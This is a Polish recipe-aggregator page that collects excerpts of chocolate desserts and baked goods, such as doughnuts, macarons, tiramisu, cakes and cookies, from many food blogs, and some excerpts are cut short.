Drożdżowe ciasto, nadziane czekoladą, marmoladą, masą budyniową czy inną na jaką akurat mamy ochotę. O czym mowa? Tak, to domowe pączki.  Przepis na nie dostałam kilka lat temu od sąsiadki. Od tamtej pory nie sięgam po inny przepis, dla mnie ten jest idealny ;)  Pączki są bardzo smaczne, leciutkie jak chmurka, wręcz rozpływające się w ustach, zdecydowanie lepsze(...)szklanki drobnego cukru do wypieków pół szklanki całych jajek 10 dag tłuszczu użyłam roztopionego masła szklanka mleka 5 dag drożdży  szczypta soli łyżka octu olej, smalec do smażenia czekolada, dżem do nadzienia Wykonanie:  Z 5 dag drożdży i 1,5 łyżki mleka robimy rozczyn, przykrywamy i odstawiamy do podwojenia objętości w ciepłe miejsce. Mąkę i cukier przesiewamy

Krakowskie smaki Ani
Macarons. Jak poskromić kaprysy? Instrukcja obsługi makaroników. 119

Piekarnik nagrzać do temperatury 170 stopni. Makaroniki piec przez 10-11 minut. Po wystudzeniu ściągnąć z papier i odstawić na jeden dzień by rozmiękły.  GANACHE CZEKOLADOWY 100g gorzkiej czekolady dobrej jakości  1/3 kubka śmietany kremówki Czekoladę połamać na kawałki i rozpuścić w kąpieli wodnej razem ze śmietaną. Zdjąć z ognia, dobrze wymieszać i włożyć na godzinę do lodówki

KUCHARNIA
Jesienna poczta w kolorze złota. Karmel, sól i czekolada. Mus. 109

łyżki śmietany kremówki 36% 2,5 łyżki masła solonego o temperaturze pokojowej (można zastąpić zwykłym masłem i zmieszać z nim 1/4 łyżeczki soli) 200 g gorzkiej czekolady dobrej jakości (użyłam Lindt 70%) 3 jajka, oddzielnie żółtka i białka opcjonalnie 1/2 filiżanki śmietany kremówki do przybrania deseru krokant migdałowy (przepis znajdziecie tu - klik ) Do rondelka z grubym dnem wsypać cukier(...)Dodać podgrzaną śmietanę i dokładnie wymieszać. Jeśli powstaną grudki, wstawić ponownie na średni ogień i mieszać do czasu aż się rozpuszczą.  Do gorącej masy dodać połamaną na kawałki czekoladę i mieszać tak, by dokładnie połączyła się z resztą.  W tym momencie należy dodać żółtka  - jeśli boicie się, że mogą się zważyć, dodajcie odrobinę czekoladowej masy do żółtek

KUCHARNIA
Mały wielki świat. Hania, Pierre Herme i czekoladowe tagliatelle z tonką. 154

CZEKOLADOWE TAGLIATELLE Z  TONKĄ  * przepis Pierre Herme, znaleziony na tej stronie - klik  Do ciasta na makaron dodałam od siebie płatki chili - efekt był wspaniały. Czekolada przełamana ostrością chili i złagodzona aromatem tonki to smak, do którego będę często powracać.  Składniki na 6- 8 osób 200 g mąki ( i trochę do podyspania) 2 g soli 3 małe(...)jajka 40 g cukru pudru 50 g kakao *dodałam od siebie sporą szczyptę chili w płatkach Sos: 60 g posiekanej czekolady (najlepiej Lindt o zawartości kakao min.70%) 100 ml wody 50 g cukru pudru 60 ml kremówki 1/2 startej tonki  * do posypania dodałam od siebie płatki kokosowe CIASTO: Przesiać mąkę i sól. W osobnej misce przesiać cukier i kakao

KUCHARNIA
Chleb "w ciemno" i rollercoaster, czyli jak upiec 47 chlebów naraz. 159

góry przepraszam! PAIN AL CIOCCOLATO /francuski chleb czekoladowy/  Jak smakuje? Wbrew pozorom to nie jest chleb słodki, głównie za sprawą sporej ilości kakao i dodatku gorzkiej czekolady. Pachnie przepięknie! I równie wspaniale smakuje. Zaliczam go bardziej do wytrawnych wypieków. Najbardziej smakował mi sam z masłem, choć nie mogłam się powstrzymać od sięgania po kolejne kanapki z kozim serkiem(...)ekstraktu waniliowego 4 łyżki (25 g) kakao 1/4 łyżeczki drożdży instant 1 łyżka soli 78 g chipsów czekoladowych (inaczej łezki czekoladowe, dropsiki czekoladowe - można pominąć lub zastąpić siekaną gorzką czekoladą) Wszystkie składniki - z wyjątkiem chipsów czekoladowych - zagnieść razem, aby dokładnie się połączyły (używając miksera, wyrabiać na średnich obrotach) i aby gluten się uwolnił. Wyrabiać ok. 8-10 minut. Odstawić

KUCHARNIA
Tiramisuuuuuuuuuu 490

słodyczach. Stąd dzisiejsza propozycja - pyszne, kremowe tiramisu. 2 serki mascarpone 4 łyżki cukru pudru 400 ml 36 % śmietany 4 żółtka  opakowanie biszkoptów 2 łyżki kawy rozpuszczalnej gorzka czekolada Do serków dodać żółtka i cukier, zmiksować. Osobno ubić śmietanę i delikatnie połączyć z masą. Zrobić napar kawowy - kawę rozpuścić w 3/4 szklance gorącej wody, ostudzić i przelać do miseczki(...)której będziemy mogli maczać biszkopty. Wykładać naprzemiennie moczone biszkopty, masę, biszkopty, masę. Ostatnio warstwą powinna być masa, którą posypujemy startą czekoladą

Humanistka w kuchni
Mus jabłkowy z czekoladą 153

Przepis bierze udział w akcji przetwory:  3 kg papierówek 1, 5 szklanki cukru 1 cukier wanilinowy sok z połowy cytryny 9 kostek czekolady Jabłka obieramy, wydrążamy i kroimy. Do garnka wlewamy 1 szklankę wody, wrzucamy jabłka, cukier, i cukier wanilinowy. Dodajemy sok z cytryny i mieszamy. Gotujemy aż jabłka trochę się rozgotują. Blendujemy na gładką masę. Dodajemy pokrojona czekoladę

Humanistka w kuchni
Zimowa kawa korzenna 898

dole może akurat wam również zasmakuje i uratuje humor w takie dni.  Składniki: szklanka ciepłej wody 2 łyżki kawy rozpuszczalnej 100 ml mleka 50 g gorzkiej czekolady 70% 3 łyżki przyprawy do piernika 100 ml śmietany kremówki 30% 2 łyżeczki żelatyny 2 łyżeczki cukru pudru łyżeczka cynamonu Wykonanie: Do garnka wsypujemy kawę i przyprawę do piernika i zalewamy(...)ciepłą wodę i następnie gotujemy. Po chwili wrzucamy kostki czekolady i mieszamy aż wszystko razem się połączy. Jeżeli  nie lubicie gorzkiej kawy możecie dosłodzić sobie cukrem według uznania. Kawę odkładamy do ostygnięcia.  Śmietanę ubijamy na sztywno i dodajemy rozpuszczoną żelatynę. Gotową śmietanę wyciskamy na ciepłą ale nie gorącą kawę. Wszystko posypujemy cynamonem i ozdabiamy według uznania. Smacznego

ciastkarnia na kruchym spodzie
Walentynkowe łatwe ciasto czekoladowe 339

proszku do pieczenia 1 płaska łyżeczka sody 1 opakowanie cukru waniliowego Szczypta soli 200 g cukru 220 ml maślanki 200 ml oleju 3 rozmącone jajka. Składniki na polewę: 1 czekolada 4 – 5 łyżek mleka Płatki migdałowe do dekoracji Sposób wykonania ciasta: W jednym naczyniu wymieszać wszystkie składniki suche, w drugim mokre a następnie wszystkie składniki ze sobą połączyć i dokładnie(...)napełnić ciastem Całość wstawić do nagrzanego piekarnika i piec 50 minut w temperaturze 180 stopni C. Przed wyjęciem z piekarnika sprawdzić patyczkiem, czy ciasto się upiekło. Sposób wykonania polewy: Czekoladę rozpuścić i wymieszać razem z mlekiem. Wystudzone ciasto polać polewą i posypać płatkami migdałowymi. Smacznego

Na słodko lub wytrawnie
Czekoladowe serduszka na walentynki 204

Wielkimi krokami zbliżają się walentynki. Mój ukochany kocha czekoladę więc postanowiłam mu okazać swoje uczucie na czekoladowo :). Czekoladowe serduszka nie są trudne do wykonania. Problematyczne może być pokrycie babeczek czekoladą. Można się słodko ubrudzić :), ale warto bo to całkiem fajna zabawa. Przepis na ciasto czekoladowe znajdziecie TUTAJ Nowy post Czekoladowe serduszka na walentynki pojawił się w Wypieki i Rumieńce

Wypieki i Rumieńce
864. Czekoladowy budyń(krem) kukurydziany. 151

mogę, ponieważ czeka mnie kilka imprez.: O czas chyba na domową kurację w tempie ekspresowym.  Składniki: 300ml mleka* 40ml mąki kukurydzianej* ok.15-20g kakao  ok.30g (gorzkiej) czekolady  cynamon, szczypta soli coś do posłodzenia ew. łyżeczka kawy *jeżeli chcecie mniej zwartą konsystencję dajcie,albo więcej mleka (ok.350ml) albo mniej mąki, bo mi wyszedł gęsty, zwarty i kremowy(...)mleka zagotowujemy. Pozostałą część mieszamy z mąką i kakao. Wlewamy do gotującego się mleka cały czas mieszając. Gotujemy kilka minut często mieszając. Wyłączmy gaz i dodajemy połamaną czekoladę.  (można tu potraktować go mikserem, by był bardziej puszysty ;) ) Podajemy ostudzony z lodówki, lub zjadamy jeszcze na ciepło

More food, love and dreams
Pijany tort bezowy 443

chrupiącymi orzechami. Składniki Blaty bezowe: 6 białek o temperaturze pokojowej 300g drobnego cukru lub cukru pudru 2 łyżki cukru trzcinowego Łyżka białego octu winnego Szczypta soli Krem czekoladowy: 100g czekolady gorzkiej 30g masła 2 łyżki Malibu szczypta soli 200ml śmietany kremówki 250 serka mascarpone Wiśnie w alkoholu (z nalewki) Orzechy włoskie, laskowe lub migdały (wg. uznania) Listki melisy do dekoracji(...)stopni C, a po 5 minutach zmniejszyć temperaturę do 140 stopni i piec około 90 minut. Piekarnik uchylić i pozostawić w nim beze do wystygnięcia. Masa czekoladowa: Czekoladę rozpuszczamy w kąpieli wodnej. Gdy się rozpuści dodajemy Maliku, szczyptę soli oraz masło. Zestawiamy z garnka z gorącą wodą i mieszamy, aby masa była jednolita. Studzimy. Kremówkę ubijamy na sztywno bez dodatku

Pyry na Gaz
Kawowe muffinki z czekoladą 164

ustrzec przed łasuchami. Jak dobrze że smakowały.. Tak... rzeczywiście jest wspaniała,  delikatna,  z lekkim posmakiem kawy, nie za słodka a jednocześnie  te wyczuwalne kawałki czekolady.. Składniki: 1 ½ szklanki mąki pszennej, ½ łyżeczki sody 2 łyżeczki proszku do pieczenia 2 łyżeczki kawy rozpuszczalnej ¾ szklanki cukru pudru 50 dag drobinek czekoladowych  lub drobno połamanej czekolady 1 szklanka

Na słodko lub wytrawnie
Blok czekoladowy - wspomienie z dzieciństwa 133

Uwielbiam  czekoladę, wszystko co czekoladowe..  Często się łapię na tym, że wiele wypieków i deserów jest właśnie o smaku czekoladowym. Dlatego po raz n – ty raz zrobiłam coś co kojarzy mi się z dzieciństwem  gdzie słodycze były na kartki  a o czekoladzie można było tyko pomarzyć  – blok czekoladowy. Chyba nigdy mi się nie znudzi. Czasami

Na słodko lub wytrawnie
Sernik z brzoskiwniami 165

łyżki mąki ziemniaczanej lub budyniu waniliowego 125 g masła lub margaryny w temperaturze  pokojowej 3 jajka 1 szklanka cukru Łyżeczka zapachu waniliowego Ponadto: 1 puszka brzoskwiń 1 gorzka czekolada Sposób wykonania ciasta:  Wszystkie składniki zagnieść i podzielić na dwie części. Jedną część wyłożyć na blasze, u mnie 25 x 40 i podpiec w temperaturze 180 stopni(...)serową. Na koniec zetrzeć na tarce  schłodzoną drugą część ciasta Wstawić do piekarnika i piec ok. 1 godzinę w temperaturze 180 stopni. Po wyjęciu ciasta z piekarnika, rozpuścić czekoladę w kąpieli wodnej i polać wierzch sernika. Smacznego

Na słodko lub wytrawnie
Chocolate chip muffins 162

Wspaniały kakaowy smak z lekko wyczuwalnymi drobinkami czekolady w środku... Przepis  wzięłam z TEJ  strony. Przepis na 12 - 14 muffinek: Składniki: 250 g mąki 2 łyżeczki proszku do pieczenia ½ łyżeczki sody 2 łyżki kakao 175 g cukru pudru 150 g drobinek czekoladowych (chocolate chips), lub pokrojoną w kostkę czekoladę 250 ml mleka 90 ml oleju 1 duże jajko

Na słodko lub wytrawnie
Chocolate chip cookies 143

ciasteczka, podobne do piegusków, zarówno smakiem jak i wyglądem. Przepis wzięłam z  TEJ   strony. Składniki na 30 sztuk : 1 szklanka  gorzkich czekoladowych groszków, lub drobno pokrojonej czekolady 1 szklanka mąki pszennej 1/2 łyżeczki sody oczyszczonej 1 żółtko ½  łyżeczki soli 170 g zimnego masła, posiekanego 1/4 szklanki ciemnego brązowego cukru 1/4 szklanki drobnego cukru do wypieków – dałam(...)zwykły ½  łyżeczki ekstraktu z wanilii 3/4 szklanki posiekanych z grubsza orzechów włoskich Sposób wykonania: Z podanych składników zagnieść ciasto – czekoladę dodać na końcu. Z gotowego ciasta formować kulki i kłaść je w dużych odstępach na wyłożonej blasze papierem do pieczenia. Nie ma potrzeby ich spłaszczać przed pieczeniem, bo one same się rozpłyną. Wstawić do nagrzanego piekarnika. Piec

Na słodko lub wytrawnie
Ciasto mleczna kanapka 230

szklanki mleka w proszku (niebieskiego pełnego) 2/3 szklanki cukru 350 g miękkiego masła lub margaryny 16 g cukru waniliowego Składniki na polewę czekoladową: 100 g gorzkiej lub mlecznej czekolady 70 g masła Sposób wykonania: Białka ubić  na sztywno, pod koniec ubijania dodać stopniowo cukier a następnie po jednym żółtku i wszystko dokładnie zmiksować. Nie przerywając miksowania dodawać kolejno olej(...)połączą się dodać cukier waniliowy i mleko w proszku. Wszystko dokładnie wymieszać. Gotową masę wyłożyć na jedną część ciasta i równomiernie rozsmarować. Całość przykryć drugą połową. Przygotować polewę czekoladową: Czekoladę rozpuścić w kąpieli wodnej, dodać do niej rozpuszczone również masło i wszystko wymieszać. Gorącą jeszcze polewą polać wierzch ciasta. Całość wstawić do lodówki na minimum 2 godziny. Smacznego

Na słodko lub wytrawnie
Kruche ciasteczka z sokiem wiśniowym w czekoladzie 161

Inspirację wzięłam z gazetki nr 27 "Palce lizać" choć i tak poszłam własną drogą ;-) Wspaniałe, kruche lekko słodkie ciasteczka w czekoladzie i do tego filiżanka dobrej kawy, czego  więcej potrzeba w pochmurny poranek?  Są tak pyszne że z około 100 ciasteczek zostało mi nie więcej niż 20.. ;-) Jedynym minusem tego ciasta jest to, że nie da się(...)polewę czekoladową: Masło rozpuścić, dodać mleko, kakao i na koniec cukier puder i wszystko dokładnie wymieszać. Gotową gorącą polewą czekoladową polać ciasteczka. Ja zrobiłam nie reguralne wzorki z czekolady na ciasteczkach. Po wystudzeniu polewy czekoladowej ciasteczka przełożyć na czyste talerze. Smacznego

Na słodko lub wytrawnie
Babka kakaowa w polewie czekoladowej 182

masła lub margaryny 3 łyżki kakao 4 łyżki mleka 1 płaska łyżeczka proszku do pieczenia Kilka kropel olejku cytrynowego 2 łyżeczki cukru waniliowego Polewa czekoladowa: 100 g czekolady gorzkiej 30 g margaryny Sposób wykonania: Margarynę utrzeć z cukrem. Pod koniec ucierania dodać stopniowo po jednym jajku, mąkę pszenną i ziemniaczaną, mleko, kakao, proszek do pieczenia, olejek cytrynowy, cukier waniliowy(...)piekarnika i piec 40 minut w temperaturze 180 stopni C. Przed wyjęciem sprawdzić patyczkiem, czy ciasto się upiekło, jeżeli będzie suchy to można je wyjąć z piekarnika. Przygotować polewę: Czekoladę rozpuścić, dodać margarynę i wymieszać. Polać jeszcze ciepłą polewą wystudzoną babkę. Smacznego

Na słodko lub wytrawnie
Torcik cappuccino 333

mąki pszennej 1 łyżeczka proszku do pieczenia 150 g drobnego cukru do wypieków ( dałam zwykły) 1,5 łyżki kawy rozpuszczalnej (proszku) 5 dużych jajek 125 g gorzkiej czekolady, roztopionej w kąpieli wodnej 125 g miękkiego masła Sposób wykonania ciasta: Masło dokładnie utrzeć na puszystą masę. Czekoladę rozpuścić w kąpieli wodnej, przestudzić i dodać do utartego masła cały czas miksując

Na słodko lub wytrawnie
Muffinki z czekoladą 140

miłą chęcią czynię :-) Składniki (na ok. 25 sztuk) - 40 dag mąki pszennej - 10 dag cukru pudru - 2 łyżeczki proszku do pieczenia - sól - 400 ml mleka - 15 dag masła - tabliczka czekolady (może być z orzechami) - 2 jajka Przygotowujemy suche składniki .  Do przesianej mąki przesiewamy cukier puder, dodajemy proszek do pieczenia i szczyptę soli. Roztapiamy masło   i studzimy(...)masła dodajemy mleko i jajka  Tabliczkę czekolady kroimy na małe kawałki  Dodajemy do suchej masy, mieszamy. Dodajemy część płynną, mieszamy  Masą wypełniamy papierowe foremki  Pieczemy 25 min w temp. 200 0 C (foto

Na słodko lub wytrawnie
Czekoladowa pychotka - pyszna babka dla leniwych 8913

mała blacha ciasta. Składniki: 2 szklanki mąki 2 jajka ¾ szklanki cukru 1 łyżeczka proszku do pieczenia 4 łyżki kakao ½ szklanki mleka 125 g masła lub margaryny 150 g mlecznej czekolady tłuszcz i bułka tarta do formy Sposób wykonania: Masło lub margarynę rozpuścić na małym ogniu, dodać mleko, cukier i całość podgrzewać do momentu aż się cukier rozpuści, zdjąć z ognia(...)napełnić ciastem. Całość wstawić do nagrzanego piekarnika i piec 40 – 45 minut w temperaturze 180 stopni C. Przed wyjęciem z piekarnika sprawdzić patyczkiem czy ciasto się upiekło. Przygotować polewę: Czekoladę rozpuścić z dodatkiem 1 łyżki masła w gorącej kąpieli, jeszcze gorącą polać upieczoną babkę. Smacznego

Na słodko lub wytrawnie
Pierniczki czekoladowe 165

płaska łyżeczka sody oczyszczonej 2,5 łyżki przyprawy korzennej do pieników ½ szklanki kakao Szczypta soli 1 jajko 180 g masła lub margaryny ¾ szklanki miodu 55 g gorzkiej połamanej czekolady Sposób wykonania: Miód podgrzać, dodać masło lub margarynę i połamaną czekoladę. Wszystko podgrzewać do momentu aż wszystkie składniki się rozpuszczą a następnie odstawić do wystygnięcia. Mąkę zmieszać z kakao, sodą, cukrem

Na słodko lub wytrawnie
Czekoladowy piernik z powidłami 155

łyżki kakao 1 łyżeczka proszku do pieczenia ½ łyżeczki sody 1 szklanka powideł śliwkowych 2 łyżki przyprawy do piernika 50 g orzechów lub migdałów Dodatkowo na polewę: 60 g gorzkiej czekolady Bakalie Sposób wykonania: Masło i miód podgrzać na małym ogniu, gdy się rozpuszczą dodać, powidła i przyprawę do piernika i dalej podgrzewać mieszając od czasu do czasu do momentu(...)orzechy i wszystko dokładnie mieszamy. Gotowe ciasto przekładamy do wysmarowanej tłuszczem keksówki i całość wstawiamy do nagrzanego piekarnika. Pieczemy 1 godzinę w temperaturze 180 stopni C. Po wystudzeniu, rozpuszczamy czekoladę w kąpieli wodnej i polewamy nią piernik a następnie dekorujemy bakaliami. Smacznego

Na słodko lub wytrawnie
Najszybsze, najprostsze i najsmaczniejsze ciasto czekoladowe 922

kakao 2 łyżeczki proszku do pieczenia 200g masła lub margaryny rozpuszczonej i schłodzonej 4 jajka rozmącone 250 g cukru 1 cukier waniliowy Dodatkowo: tłuszcz do wysmarowania formy 1 gorzka czekolada na polewę 1 łyżka orzechów do przybrania Sposób wykonania: Masło lub margarynę rozpuścić i wystudzić. Wszystkie składniki połączyć ze sobą i wymieszać łyżką. Gotowe ciasto przełożyć do wysmarowanej tłuszczem keksówki(...)Całość wstawić do piekarnika i piec 40 - 45   minut w temperaturze 190 stopni C. Przed wyjęciem sprawdzić patyczkiem czy ciasto się upiekło. Czekoladę rozpuścić w kąpieli wodnej i polać wystudzone ciasto. Udekorować orzechami. Smacznego

Na słodko lub wytrawnie
Mazurek chałwowo - orzechowy z czekoladą 156

Składniki na masę chałwowo – orzechową: 200 g dowolnej chałwy ½ szklanki śmietany kremówki 30% - 36% 10o g dowolnych orzechów 1,5 łyżki cukru pudru Dodatkowo do przybrania: 100 g gorzkiej czekolady orzechy Sposób wykonania kruchego spodu: Masło lub margarynę posiekać nożem. Dodać mąki, olejek, cukier puder i zagnieść jednolite ciasto. Tortownicę wyłożyć papierem do pieczenia i wylepić ciastem. Odrobinę ciasta odłożyć(...)masę przełożyć do garnuszka i podgrzewać na małym ogniu cały czas mieszając ok. 3 minut, do momentu, aż masa zacznie gęstnieć. Gotową masę przełożyć na kruchy spód i wyrównać. Czekoladę rozpuścić w kąpieli wodnej i polać wierzch mazurka. Udekorować orzechami. Ciasto najlepiej jest przechowywać w lodówce. Smacznego

Na słodko lub wytrawnie
Pszenno - owsiany czekoladowy placek z czereśniami 152

szklanki mąki pszennej 1 szklanka mąki owsianej 250 g masła lub margaryny 5 jajek 1 szklanka mleka 1 i ¼ szklanki cukru 1 opakowanie cukru waniliowego 180 g czekolady gorzkiej 3 łyżki kakao 1,5 łyżeczki proszku do pieczenia Dodatkowo : 500 g czereśni lub wiśni bez pestek cukier puder do posypania. Sposób wykonania:  Margarynę utrzeć z cukrami. Podczas ucierania dodawać(...)stopniowo po jednym jajku. Czekoladę rozpuścić i jeszcze ciepłą dodawać stopniowo do utartej masy cały czas miksując. Cały czas miksując dodać po kolei zmieszane suche składniki i na koniec mleko.   Do ciasta dodać czereśnie lub wiśnie i delikatnie wymieszać łyżką. Blachę wysmarować tłuszczem i posypać bułką tartą. Ciasto wypłoszyć na blasze i wyrównać . Całość wstawić do nagrzanego piekarnika

Na słodko lub wytrawnie
Ciastka kakaowo – kawowe z syropem klonowym na samych białkach 166

dzień przed pieczeniem, gdyż całą noc powinno leżakować w lodówce. Składniki: 140 g maki pszennej 30 g kakao 1 czubata łyżeczka proszku do pieczenia 2 białka 45 g gorzkiej czekolady 20 ml oleju słonecznikowego 1 łyżka kawy rozpuszczalnej 60g cukru 1 opakowanie cukru waniliowego 3 łyżki syropu klonowego szczypta soli Dodatkowo: Cukier puder do obtoczenia ciastek Sposób wykonania Czekoladę rozpuścić

Na słodko lub wytrawnie
Bezglutenowe i bezjajeczne prawie pierniczki 276

mielonych migdałów 35 g mąki ziemniaczanej 75 g cukru 1 łyżeczka sody oczyszczonej 2 łyżki przyprawy do piernika 25 g kakao 30 g masła 15 g ciemnej czekolady (70%) 60 g melasy 10 g świeżych drożdży Mąkę i kakao przesiać, wymieszać z migdałami, cukrem, solą i przyprawą do piernika.  Masło rozpuścić z melasą. Gdy połączą się w gładką masę(...)zdjąć garnuszek z palnika, dodać posiekaną czekoladę i mieszać do jej rozpuszczenia. Przestudzić. Do suchych składników dodać mokre oraz drożdże, zagnieść gładkie ciasto. Uformować z niego kulę, odstawić w chłodne miejsce na minimum 2 godziny, a najlepiej na całą noc. Ze schłodzonego ciasta formować kulki wielkości orzecha włoskiego. Lekko spłaszczać, układać na blasze, zachowując odstępy. Piec

Pożeraczka, czyli raz adobrze
Gorąca czekolada z rodzynkami 209

Porcja na 2 filiżanki: 1 tabliczka gorzkiej czekolady 250 ml śmietanki 18 % (jeśli chcecie uzyskać gęstszą, ale i też bardziej kaloryczną wersję użyjcie 30%) 5 łyżek mleka szczypta cynamonu 2 łyżki rodzynek Śmietankę i mleko podgrzewamy, gdy będzie ciepłe dodajemy czekoladę, dorzucamy rodzynki i cynamon. Gdy uzyskamy jednolity gęsty płyn jest już gotowa;) Kategoria: Desery , Napoje bezalkoholowe

kuchcikownia
Tartaletki z kremem budyniowo-czekoladowym i żurawiną 156

szczypta soli - łyżka wody krem budyniowo-czekoladowy (spokojnie starczy i na 12 babeczek, mi z podanego przepisu została połowa) -opakowanie budyniu waniliowego/śmietankowego - dwie szklanki mleka - pół tabliczki białej czekolady - 2 łyżki cukru pudru - kilka kropel aromatu waniliowego Przygotowanie: Składniki na ciasto dokładnie zagnieść w kulę, owinąć folią spożywczą i włożyć do lodówki na przynajmniej 30 minut. Teraz czas(...)krem - 1,5 szklanki mleka zagotowujemy z czekoladą i cukrem. Pozostałe pół szklanki mleka mieszamy z proszkiem budyniowym. Gdy mleko zacznie wrzeć, należy zacząć stopniowo wlewać budyń, dokładnie mieszając, tak aby nie powstały grudki. Dodać aromat waniliowy i odstawić do wystudzenia. Krem można dodatkowo zmiksować. Schłodzone ciasto wałkujemy na placek i szklanką wycinamy koła, którymi wykładamy natłuszczone wcześniej foremki

Kuchnia Ellie
Ciasto "Krówka" 229

pieczenia, 5 łyżek oliwy, szczypta soli, dodatkowo: banany 2-3, masa krówkowa, biszkopty,  duża śmietana 36% (lub krem dr. Oetker śmietankowy), 1,5 łyżeczki cukru pudru, gorzka czekolada Mikserem: 1. Oddzielić białka od żółtek. 2. Ubić na sztywną pianę białka ze szczyptą soli. 3. Dodać szklankę cukru. 4. Dodać żółtka 5. (Bez miksera) Stopniowo dodajemy mąkę z proszkiem(...)masę krówkową. 10. Układamy biszkopty. 11. Ubijamy śmietanę 36% z dodatkiem 1,5 łyżeczki cukru pudru. (lub robimy krem dr. Oetker śmietankowy). Wykładamy na resztę składników 12. Gorzką czekoladę trzemy na tarce. Posypujemy ciasto przed podaniem, aby nie zgorzkniało

Kuchnia Pełna Pasji
Mocno czekoladowa tarta serowo-krówkowa i zapowiedź CANDY W MAGICZNEJ KUCHNI / Heavily chocolate tart with cheese and fudge, and 152

również zaprosić na CANDY W MAGICZNEJ KUCHNI, które rozpocznie się w najbliższą środę. Szczegóły już wkrótce:) SKŁADNIKI ciasto 250 gram czekoladowy herbatników maślanych 100 gram masła 1/2 tabliczki gorzkiej czekolady masa krówkowa (karmel) - można zastąpić gotową masą kajmakową 100 gram krówek 200 ml śmietany kremówki masa serowa 800 gram sera trzykrotnie mielonego 50 ml mleka 3 łyżeczki żelatyny cukier waniliowy(...)łyżka cukru pudru 2 laski wanilii PRZYGOTOWANIE Ciasteczka wkładam do blendera i miksuję na proszek. Masło i czekoladę roztapiam w garnuszku i dodaję do "mąki" z herbatników. Kopiastą łyżke masy odkładam do dekoracji, pozostałą cześć przekładam do formy i rozprowadzam dokładnie dociskając do dna i brzegów. Podpiekam 1 170 stopniach przez 15 minut. Kremówkę wlewam do garnka wraz z krówkami

Magiczna kuchnia Darii
Ciasto ze śliwką kalifornijską i nutellą 134

się, że ciasto absolutnie nie do zjedzenia w upalny dzień, jest co prawda mokre, ale nie rześkie, nie jest ciężkie, ale na pewno nie można go nazwać lekkim. Czekolada, śliwka, nutella, alkohol, do tego cynamonowa nuta w cieście to smaki wybitnie jesienno-zimowe. murzynek (piekłam na blaszce o wymiarach 22 x 29 cm) 3/4 kostki margaryny  4 jajka(...)wody Śmietanę ubiłam, dodałam cukier puder, na koniec rozpuszczoną żelatynę. Kiedy masa zaczęła tężeć, wyłożyłam na ciasto i wstawiłam do lodówki. Udekorować dowolnie. Ja pokroiłam tabliczkę gorzkiej czekolady i posypałam nią ciasto

bistro mama
Milka Choco & Rice 279

Uwielbiam takie olśnienia :) Dzieci już spały, a ja siedziałam na kanapie i przeglądałam przyniesione przez męża gazetki reklamowe z supermarketów. W jednej z nich natknęłam się na duże czekolady Milki, a między nimi była ta z ryżem. Patrzyłam na nią i pomyślałam sobie: jakie to proste! Mam ryż, mam czekolady! No to do roboty :) Czytaj więcej

bistro mama
Deser z owocami i ciastem francuskim 136

bitą śmietaną, do tego sos czekoladowy, który tak naprawdę jest... najzwyklejszą i najprostszą polewą do ciast. Zastanawiałam się czy mam prawo użyć nazwy "sos czekoladowy", skoro czekolady jako takiej w nim nie ma. Jest kakao. Ale to przecież główny składnik czekolady :) Świeże maliny kupiłam w Lidlu i muszę przyznać, że o tej porze roku smakują całkiem przyzwoicie

bistro mama
Delikatny sernik z polewą czekoladowo-miętową 192

piekłam sernika, aż dziw, bo serniki bardzo lubię. Kiedy już zapadła decyzja, że w weekend musi być, zrobiłam listę zakupów mając w pamięci podstawowe składniki. Ser, jajka, śmietana, czekolada. Ta czekolada z myślą o tym, żeby ją wmieszać w serową masę. A może tak nuta mięty. Po chwili miałam jasność. Czytaj więcej

bistro mama
Tarta podwójnie czekoladowa z bezą włoską. Blogerzy z pomysłem. 136

Niewiele znam osób, które zdecydowanie mówią, że nie lubią czekolady. Czekolada zarówno wzmacnia stan euforii, jak i działa uspokajająco. Jesienią jest idealną pocieszycielką, byleby nie przesadzić z jej ilością. Kiedy jednym z zadań w ramach współpracy z marką Tefal okazało się przygotowanie deseru, nie miałam wątpliwości, że będzie to coś mocno czekoladowego. Czytaj więcej

bistro mama
Deser z musem z kiwi 276

kolorowo. Składniki na 3 desery: 1 galaretka (coś z czerwonych) 3 owoce kiwi 200 g śmietany kremówki 30% (małe opakowanie) ok 7 łyżeczek cukru pudru 2 kostki gorzkiej czekolady Przygotowanie : Galaretkę przygotowuję wedle opisu na opakowaniu zmniejszając tylko ilość wody na 450ml i studzę w 3 szklankach / deserówkach. Owoce kiwi parzę i obieram ze skórki wycinam lekko stwardniały środek(...)łyżeczkami cukru pudru. Śmietanę miksuję na sztywno z 4 łyżeczkami cukru. Na gotową galaretkę nalewam mus z kiwi, łyżką nakładam bitej śmietany i posypuję wiórkami startej gorzkiej czekolady. Rada : Jak wspomniałem w przepisie : owoce kiwi parzę wrzątkiem podobnie jak parzy się pomidory i obieram ze skórki podobnie jak pomidory nie mają one wtedy tej swojej kwaskowatości i nie potrzeba wtedy

Mechanik w kuchni
Czekoladowa owsianka 303

stałe zagości na waszych stołach o poranku! Zapraszam do kuchni i polubienia bloga! Dla 2 osób Czas przygotowania 40 minut Składniki: 8 łyżek EKO ziarna owsa 90 g gorzkiej czekolady garść rodzynek 200ml śmietany kremówki 30% tł. Przygotowanie: 1/ Gotujemy owies pod przykryciem ok 30 min. 2/ Zalewamy wrzątkiem rodzynki 3/ Ugotowany owies odsączamy z wody i dodajemy do niego(...)kremówkę. Zagotowujemy a następnie dodajemy połamane kawałki czekolady i mieszamy aż do rozpuszczenia, ponownie zagotowujemy i odstawiamy z kuchenki. Dodajemy rodzynki i przelewamy do miseczki. SMACZNEGO

Kuchnia PROzdrowotna
Ciasto "3 Bit" na Biszkopcie 481

Masa Śmietanowa: 400 ml mocno schłodzonej kremówki 30% 2 fixy do ubijania śmietany 2-3 łyżki cukru pudru ok. 70 g herbatników (miękkich, jeden - 5 g) ok. 80 g czekolady gorzkiej (lub pół na pół z mleczną) Ciasto "3 Bit" - Bez Pieczenia - Sposób przygotowania: Biszkopt: Wszystkie składniki powinny mieć temperaturę pokojową. Formę do pieczenia (ok. 21 x 28 cm) wykładamy(...)budyniową, górny biszkopt, masę śmietanową.  Ważne : Aby uniknąć "zapadnięcia ciasta" po dodaniu każdej z mas ciasto powinno spędzić kilkanaście (lub więcej) minut w lodówce. Wierzch ciasta posypujemy startą czekoladą. "3 Bit" powinien spędzić minimum 3-4 h w lodówce, a najlepiej całą noc. Moje posty

Słodka Strona
Noworoczny tort szampański 231

